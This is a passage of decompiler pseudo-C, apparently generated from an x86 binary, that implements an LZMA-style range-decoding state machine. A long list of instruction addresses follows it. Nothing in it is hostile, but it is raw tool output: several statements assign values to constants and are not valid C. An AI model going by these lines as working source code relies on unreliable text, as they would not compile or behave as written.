												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x004062b1
0x004062b1
0x004062b5
0x004062de
0x004062e8
0x004062b7
0x004062c0
0x004062cd
0x004062d0
0x00406614
0x00406614
0x00406617
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00406614
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
